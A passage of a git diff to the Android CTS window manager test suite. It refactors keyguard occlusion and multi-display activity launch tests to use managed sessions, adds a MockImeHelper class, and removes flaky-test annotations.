- assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_UNOCCLUDE,
- mAmWmState.getWmState().getDefaultDisplayLastTransition());
- }
+ public void testUnocclude() {
+ createManagedLockScreenSession().gotoKeyguard();
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ launchActivity(TEST_ACTIVITY);
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.computeState(true);
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_UNOCCLUDE,
+ mAmWmState.getWmState().getDefaultDisplayLastTransition());
}
@Test
- public void testNewActivityDuringOccluded() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ACTIVITY);
- launchActivity(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
- assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
- mAmWmState.getWmState().getDefaultDisplayLastTransition());
- }
+ public void testNewActivityDuringOccluded() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ACTIVITY);
+ launchActivity(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
+ assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
+ mAmWmState.getWmState().getDefaultDisplayLastTransition());
}
@Test
- public void testOccludeManifestAttr() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.gotoKeyguard();
- separateTestJournal();
- launchActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
- assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
- mAmWmState.getWmState().getDefaultDisplayLastTransition());
- assertSingleLaunch(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
- }
+ public void testOccludeManifestAttr() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.gotoKeyguard();
+ separateTestJournal();
+ launchActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+ mAmWmState.getWmState().getDefaultDisplayLastTransition());
+ assertSingleLaunch(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
}
@Test
- public void testOccludeAttrRemove() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.gotoKeyguard();
- separateTestJournal();
- launchActivity(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
- assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
- mAmWmState.getWmState().getDefaultDisplayLastTransition());
- assertSingleLaunch(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
+ public void testOccludeAttrRemove() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.gotoKeyguard();
+ separateTestJournal();
+ launchActivity(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+ mAmWmState.getWmState().getDefaultDisplayLastTransition());
+ assertSingleLaunch(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
- // Waiting for the standard keyguard since
- // {@link SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY} called
- // {@link Activity#showWhenLocked(boolean)} and removed the attribute.
- lockScreenSession.gotoKeyguard();
- separateTestJournal();
- // Waiting for {@link SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY} stopped since it
- // already lost show-when-locked attribute.
- launchActivityNoWait(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
- mAmWmState.waitForActivityState(
- SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY, STATE_STOPPED);
- assertSingleStartAndStop(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
- }
+ // Waiting for the standard keyguard since
+ // {@link SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY} called
+ // {@link Activity#showWhenLocked(boolean)} and removed the attribute.
+ lockScreenSession.gotoKeyguard();
+ separateTestJournal();
+ // Waiting for {@link SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY} stopped since it
+ // already lost show-when-locked attribute.
+ launchActivityNoWait(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
+ mAmWmState.waitForActivityState(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY, STATE_STOPPED);
+ assertSingleStartAndStop(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
}
@Test
- public void testNewActivityDuringOccludedWithAttr() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- launchActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
- lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
- launchActivity(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
- assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
- mAmWmState.getWmState().getDefaultDisplayLastTransition());
- }
+ public void testNewActivityDuringOccludedWithAttr() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ launchActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
+ lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
+ launchActivity(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
+ assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
+ mAmWmState.getWmState().getDefaultDisplayLastTransition());
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
index 5513de7..b9d84d7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
@@ -54,7 +54,6 @@
* Build/Install/Run:
* atest CtsWindowManagerDeviceTestCases:LayoutTests
*/
-@FlakyTest(detail = "Can be promoted to pre-submit once confirmed stable.")
@AppModeFull(reason = "Cannot write global settings as an instant app.")
@Presubmit
public class LayoutTests extends WindowManagerTestBase {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java
index ad3995c..9c9491c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java
@@ -64,7 +64,6 @@
import java.util.function.Supplier;
-@FlakyTest(detail = "until proven non-flaky")
@SmallTest
@Presubmit
public class LocationOnScreenTests {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
index 4086978..0632c4a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
@@ -141,22 +141,22 @@
getDisplayAndWindowState(activityName, true);
final Rect containingRect = mWindowState.getContainingFrame();
- final Rect appRect = mDisplay.getAppRect();
+ final Rect stableBounds = mDisplay.getStableBounds();
final int expectedWidthPx, expectedHeightPx;
// Evaluate the expected window size in px. If we're using fraction dimensions,
// calculate the size based on the app rect size. Otherwise, convert the expected
// size in dp to px.
if (fraction) {
- expectedWidthPx = (int) (appRect.width() * DEFAULT_WIDTH_FRACTION);
- expectedHeightPx = (int) (appRect.height() * DEFAULT_HEIGHT_FRACTION);
+ expectedWidthPx = (int) (stableBounds.width() * DEFAULT_WIDTH_FRACTION);
+ expectedHeightPx = (int) (stableBounds.height() * DEFAULT_HEIGHT_FRACTION);
} else {
final int densityDpi = mDisplay.getDpi();
expectedWidthPx = dpToPx(DEFAULT_WIDTH_DP, densityDpi);
expectedHeightPx = dpToPx(DEFAULT_HEIGHT_DP, densityDpi);
}
- verifyFrameSizeAndPosition(
- vGravity, hGravity, expectedWidthPx, expectedHeightPx, containingRect, appRect);
+ verifyFrameSizeAndPosition(vGravity, hGravity, expectedWidthPx, expectedHeightPx,
+ containingRect, stableBounds);
}
private void getDisplayAndWindowState(ComponentName activityName, boolean checkFocus)
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MockImeHelper.java b/tests/framework/base/windowmanager/src/android/server/wm/MockImeHelper.java
new file mode 100644
index 0000000..2191164
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MockImeHelper.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import com.android.cts.mockime.MockImeSession;
+
+/**
+ * Centralizes the creation of {@link MockImeSession}. This class ins't placed in utility group
+ * because only this package uses it.
+ */
+public class MockImeHelper {
+
+ /**
+ * Leverage MockImeSession to ensure at least an IME exists as default.
+ *
+ * @see ObjectTracker#manage(AutoCloseable)
+ */
+ public static MockImeSession createManagedMockImeSession(ActivityManagerTestBase base) {
+ try {
+ return base.mObjectTracker.manage(MockImeSession.create(base.mContext));
+ } catch (Exception e) {
+ throw new RuntimeException("Failed to create MockImeSession", e);
+ }
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index 67f1db8..ef3f2fb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -19,13 +19,17 @@
import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_SINGLE_TOP;
import static android.server.wm.ActivityLauncher.KEY_LAUNCH_ACTIVITY;
import static android.server.wm.ActivityLauncher.KEY_NEW_TASK;
import static android.server.wm.ActivityManagerState.STATE_RESUMED;
import static android.server.wm.ActivityManagerState.STATE_STOPPED;
import static android.server.wm.ComponentNameUtils.getActivityName;
+import static android.server.wm.UiDeviceUtils.pressHomeButton;
import static android.server.wm.app.Components.ALT_LAUNCHING_ACTIVITY;
import static android.server.wm.app.Components.BROADCAST_RECEIVER_ACTIVITY;
import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
@@ -35,6 +39,7 @@
import static android.server.wm.app.Components.SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2;
import static android.server.wm.app.Components.SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3;
import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.TOP_ACTIVITY;
import static android.server.wm.app.Components.VIRTUAL_DISPLAY_ACTIVITY;
import static android.server.wm.second.Components.SECOND_ACTIVITY;
import static android.server.wm.second.Components.SECOND_LAUNCH_BROADCAST_ACTION;
@@ -42,6 +47,8 @@
import static android.server.wm.third.Components.THIRD_ACTIVITY;
import static android.view.Display.DEFAULT_DISPLAY;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
@@ -49,15 +56,18 @@
import static org.junit.Assume.assumeTrue;
import android.app.ActivityOptions;
+import android.app.PendingIntent;
import android.content.ComponentName;
+import android.content.Context;
import android.content.Intent;
+import android.content.res.Configuration;
+import android.hardware.display.DisplayManager;
import android.os.Bundle;
import android.platform.test.annotations.Presubmit;
-import android.server.wm.ActivityManagerState.ActivityDisplay;
+import android.server.wm.ActivityManagerState.DisplayContent;
import android.server.wm.ActivityManagerState.ActivityStack;
import android.server.wm.CommandSession.ActivitySession;
import android.server.wm.CommandSession.SizeInfo;
-import android.util.SparseArray;
import com.android.compatibility.common.util.SystemUtil;
@@ -71,6 +81,7 @@
* Tests activity launching behavior on multi-display environment.
*/
@Presubmit
+@android.server.wm.annotation.Group3
public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase {
@Before
@@ -100,32 +111,31 @@
* Tests launching an assistant activity on virtual display.
*/
@Test
- public void testLaunchAssistantActivityOnSecondaryDisplay() throws Exception {
+ public void testLaunchAssistantActivityOnSecondaryDisplay() {
validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_ASSISTANT);
}
- private void validateActivityLaunchOnNewDisplay(int activityType) throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ private void validateActivityLaunchOnNewDisplay(int activityType) {
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
- // Launch activity on new secondary display.
- separateTestJournal();
- getLaunchActivityBuilder().setUseInstrumentation().setWithShellPermission(true)
- .setTargetActivity(TEST_ACTIVITY).setNewTask(true)
- .setMultipleTask(true).setActivityType(activityType)
- .setDisplayId(newDisplay.mId).execute();
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Activity launched on secondary display must be focused and on top");
+ // Launch activity on new secondary display.
+ separateTestJournal();
+ getLaunchActivityBuilder().setUseInstrumentation().setWithShellPermission(true)
+ .setTargetActivity(TEST_ACTIVITY).setNewTask(true)
+ .setMultipleTask(true).setActivityType(activityType)
+ .setDisplayId(newDisplay.mId).execute();
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
+ "Activity launched on secondary display must be focused and on top");
- // Check that activity config corresponds to display config.
- final SizeInfo reportedSizes = getLastReportedSizesForActivity(TEST_ACTIVITY);
- assertEquals("Activity launched on secondary display must have proper configuration",
- CUSTOM_DENSITY_DPI, reportedSizes.densityDpi);
+ // Check that activity config corresponds to display config.
+ final SizeInfo reportedSizes = getLastReportedSizesForActivity(TEST_ACTIVITY);
+ assertEquals("Activity launched on secondary display must have proper configuration",
+ CUSTOM_DENSITY_DPI, reportedSizes.densityDpi);
- assertEquals("Top activity must have correct activity type", activityType,
- mAmWmState.getAmState().getFrontStackActivityType(newDisplay.mId));
- }
+ assertEquals("Top activity must have correct activity type", activityType,
+ mAmWmState.getAmState().getFrontStackActivityType(newDisplay.mId));
}
/**
@@ -152,32 +162,31 @@
* Tests launching an existing activity from an activity that resided on secondary display.
*/
@Test
- public void testLaunchActivityFromSecondaryDisplay() throws Exception {
+ public void testLaunchActivityFromSecondaryDisplay() {
getLaunchActivityBuilder().setUseInstrumentation()
.setTargetActivity(TEST_ACTIVITY).setNewTask(true)
.setDisplayId(DEFAULT_DISPLAY).execute();
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay =
- virtualDisplaySession.setSimulateDisplay(true).createDisplay();
- final int newDisplayId = newDisplay.mId;
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
+ final int newDisplayId = newDisplay.mId;
- getLaunchActivityBuilder().setUseInstrumentation()
- .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY).setNewTask(true)
- .setDisplayId(newDisplayId).execute();
- waitAndAssertTopResumedActivity(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId,
- "Activity should be resumed on secondary display");
+ getLaunchActivityBuilder().setUseInstrumentation()
+ .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY).setNewTask(true)
+ .setDisplayId(newDisplayId).execute();
+ waitAndAssertTopResumedActivity(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId,
+ "Activity should be resumed on secondary display");
- mBroadcastActionTrigger.launchActivityNewTask(getActivityName(TEST_ACTIVITY));
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
- "Activity should be the top resumed on default display");
+ mBroadcastActionTrigger.launchActivityNewTask(getActivityName(TEST_ACTIVITY));
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+ "Activity should be the top resumed on default display");
- getLaunchActivityBuilder().setUseInstrumentation()
- .setTargetActivity(TEST_ACTIVITY).setNewTask(true)
- .setDisplayId(newDisplayId).execute();
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Activity should be resumed on secondary display");
- }
+ getLaunchActivityBuilder().setUseInstrumentation()
+ .setTargetActivity(TEST_ACTIVITY).setNewTask(true)
+ .setDisplayId(newDisplayId).execute();
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
+ "Activity should be resumed on secondary display");
}
/**
@@ -185,89 +194,100 @@
* display is off.
*/
@Test
- public void testLaunchExternalDisplayActivityWhilePrimaryOff() throws Exception {
+ public void testLaunchExternalDisplayActivityWhilePrimaryOff() {
// Launch something on the primary display so we know there is a resumed activity there
launchActivity(RESIZEABLE_ACTIVITY);
waitAndAssertTopResumedActivity(RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
"Activity launched on primary display must be resumed");
- try (final PrimaryDisplayStateSession displayStateSession =
- new PrimaryDisplayStateSession();
- final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
- displayStateSession.turnScreenOff();
+ final PrimaryDisplayStateSession displayStateSession =
+ mObjectTracker.manage(new PrimaryDisplayStateSession());
+ final ExternalDisplaySession externalDisplaySession = createManagedExternalDisplaySession();
+ displayStateSession.turnScreenOff();
- // Make sure there is no resumed activity when the primary display is off
- waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED,
- "Activity launched on primary display must be stopped after turning off");
- assertEquals("Unexpected resumed activity",
- 0, mAmWmState.getAmState().getResumedActivitiesCount());
+ // Make sure there is no resumed activity when the primary display is off
+ waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED,
+ "Activity launched on primary display must be stopped after turning off");
+ assertEquals("Unexpected resumed activity",
+ 0, mAmWmState.getAmState().getResumedActivitiesCount());
- final ActivityDisplay newDisplay = externalDisplaySession
- .setCanShowWithInsecureKeyguard(true).createVirtualDisplay();
+ final DisplayContent newDisplay = externalDisplaySession
+ .setCanShowWithInsecureKeyguard(true).createVirtualDisplay();
- launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- // Check that the test activity is resumed on the external display
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Activity launched on external display must be resumed");
- mAmWmState.assertFocusedAppOnDisplay("App on default display must still be focused",
- RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY);
- }
+ // Check that the test activity is resumed on the external display
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Activity launched on external display must be resumed");
+ mAmWmState.assertFocusedAppOnDisplay("App on default display must still be focused",
+ RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY);
}
/**
* Tests launching a non-resizeable activity on virtual display. It should land on the
- * virtual display.
+ * virtual display with correct configuration.
*/
@Test
- public void testLaunchNonResizeableActivityOnSecondaryDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ public void testLaunchNonResizeableActivityOnSecondaryDisplay() {
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
- // Launch activity on new secondary display.
- launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY, newDisplay.mId);
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, newDisplay.mId,
- "Activity requested to launch on secondary display must be focused");
- }
+ waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, newDisplay.mId,
+ "Activity requested to launch on secondary display must be focused");
+
+ final Configuration taskConfig = mAmWmState.getAmState()
+ .getTaskByActivity(NON_RESIZEABLE_ACTIVITY).mFullConfiguration;
+ final Configuration displayConfig = mAmWmState.getWmState()
+ .getDisplay(newDisplay.mId).mFullConfiguration;
+
+ // Check that activity config corresponds to display config.
+ assertEquals("Activity launched on secondary display must have proper configuration",
+ taskConfig.densityDpi, displayConfig.densityDpi);
+
+ assertEquals("Activity launched on secondary display must have proper configuration",
+ taskConfig.windowConfiguration.getBounds(),
+ displayConfig.windowConfiguration.getBounds());
}
/**
* Tests successfully moving a non-resizeable activity to a virtual display.
*/
@Test
- public void testMoveNonResizeableActivityToSecondaryDisplay() throws Exception {
- try (final VirtualDisplayLauncher virtualLauncher = new VirtualDisplayLauncher()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualLauncher.createDisplay();
- // Launch a non-resizeable activity on a primary display.
- final ActivitySession nonResizeableSession = virtualLauncher.launchActivity(
- builder -> builder.setTargetActivity(NON_RESIZEABLE_ACTIVITY).setNewTask(true));
+ public void testMoveNonResizeableActivityToSecondaryDisplay() {
+ final VirtualDisplayLauncher virtualLauncher =
+ mObjectTracker.manage(new VirtualDisplayLauncher());
+ // Create new virtual display.
+ final DisplayContent newDisplay = virtualLauncher
+ .setSimulateDisplay(true).createDisplay();
+ // Launch a non-resizeable activity on a primary display.
+ final ActivitySession nonResizeableSession = virtualLauncher.launchActivity(
+ builder -> builder.setTargetActivity(NON_RESIZEABLE_ACTIVITY).setNewTask(true));
- // Launch a resizeable activity on new secondary display to create a new stack there.
- virtualLauncher.launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay);
- final int externalFrontStackId = mAmWmState.getAmState()
- .getFrontStackId(newDisplay.mId);
+ // Launch a resizeable activity on new secondary display to create a new stack there.
+ virtualLauncher.launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay);
+ final int externalFrontStackId = mAmWmState.getAmState()
+ .getFrontStackId(newDisplay.mId);
- // Clear lifecycle callback history before moving the activity so the later verification
- // can get the callbacks which are related to the reparenting.
- nonResizeableSession.takeCallbackHistory();
+ // Clear lifecycle callback history before moving the activity so the later verification
+ // can get the callbacks which are related to the reparenting.
+ nonResizeableSession.takeCallbackHistory();
- // Try to move the non-resizeable activity to the top of stack on secondary display.
- moveActivityToStack(NON_RESIZEABLE_ACTIVITY, externalFrontStackId);
- // Wait for a while to check that it will move.
- mAmWmState.waitForWithAmState(state ->
- newDisplay.mId == state.getDisplayByActivity(NON_RESIZEABLE_ACTIVITY),
- "Waiting to see if activity is moved");
- assertEquals("Non-resizeable activity should be moved",
- newDisplay.mId,
- mAmWmState.getAmState().getDisplayByActivity(NON_RESIZEABLE_ACTIVITY));
+ // Try to move the non-resizeable activity to the top of stack on secondary display.
+ moveActivityToStack(NON_RESIZEABLE_ACTIVITY, externalFrontStackId);
+ // Wait for a while to check that it will move.
+ assertTrue("Non-resizeable activity should be moved",
+ mAmWmState.waitForWithAmState(
+ state -> newDisplay.mId == state
+ .getDisplayByActivity(NON_RESIZEABLE_ACTIVITY),
+ "seeing if activity won't be moved"));
- waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, newDisplay.mId,
- "The moved non-resizeable activity must be focused");
- assertActivityLifecycle(nonResizeableSession, true /* relaunched */);
- }
+ waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, newDisplay.mId,
+ "The moved non-resizeable activity must be focused");
+ assertActivityLifecycle(nonResizeableSession, true /* relaunched */);
}
/**
@@ -275,22 +295,21 @@
* land on the secondary display based on the resizeability of the root activity of the task.
*/
@Test
- public void testLaunchNonResizeableActivityFromSecondaryDisplaySameTask() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new simulated display.
- final ActivityDisplay newDisplay = virtualDisplaySession.setSimulateDisplay(true)
- .createDisplay();
+ public void testLaunchNonResizeableActivityFromSecondaryDisplaySameTask() {
+ // Create new simulated display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
- // Launch activity on new secondary display.
- launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId,
- "Activity launched on secondary display must be focused");
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId);
+ waitAndAssertTopResumedActivity(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId,
+ "Activity launched on secondary display must be focused");
- // Launch non-resizeable activity from secondary display.
- mBroadcastActionTrigger.launchActivityNewTask(getActivityName(NON_RESIZEABLE_ACTIVITY));
- waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, newDisplay.mId,
- "Launched activity must be on the secondary display and resumed");
- }
+ // Launch non-resizeable activity from secondary display.
+ mBroadcastActionTrigger.launchActivityNewTask(getActivityName(NON_RESIZEABLE_ACTIVITY));
+ waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, newDisplay.mId,
+ "Launched activity must be on the secondary display and resumed");
}
/**
@@ -298,41 +317,35 @@
* there. It must land on the display as its caller.
*/
@Test
- public void testLaunchNonResizeableActivityFromSecondaryDisplayNewTask() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ public void testLaunchNonResizeableActivityFromSecondaryDisplayNewTask() {
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
- // Launch activity on new secondary display.
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
- "Activity launched on secondary display must be focused");
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
+ waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
+ "Activity launched on secondary display must be focused");
- // Launch non-resizeable activity from secondary display in a new task.
- getLaunchActivityBuilder().setTargetActivity(NON_RESIZEABLE_ACTIVITY)
- .setNewTask(true).setMultipleTask(true).execute();
+ // Launch non-resizeable activity from secondary display in a new task.
+ getLaunchActivityBuilder().setTargetActivity(NON_RESIZEABLE_ACTIVITY)
+ .setNewTask(true).setMultipleTask(true).execute();
- mAmWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
+ mAmWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
- // Check that non-resizeable activity is on the same display.
- final int newFrontStackId = mAmWmState.getAmState().getFocusedStackId();
- final ActivityStack newFrontStack =
- mAmWmState.getAmState().getStackById(newFrontStackId);
- assertTrue("Launched activity must be on the same display",
- newDisplay.mId == newFrontStack.mDisplayId);
- assertEquals("Launched activity must be resumed",
- getActivityName(NON_RESIZEABLE_ACTIVITY),
- newFrontStack.mResumedActivity);
- mAmWmState.assertFocusedStack(
- "Top stack must be the one with just launched activity",
- newFrontStackId);
- mAmWmState.assertResumedActivities("Both displays must have resumed activities",
- new SparseArray<ComponentName>(){{
- put(newDisplay.mId, LAUNCHING_ACTIVITY);
- put(newFrontStack.mDisplayId, NON_RESIZEABLE_ACTIVITY);
- }}
- );
- }
+ // Check that non-resizeable activity is on the same display.
+ final int newFrontStackId = mAmWmState.getAmState().getFocusedStackId();
+ final ActivityStack newFrontStack = mAmWmState.getAmState().getStackById(newFrontStackId);
+ assertTrue("Launched activity must be on the same display",
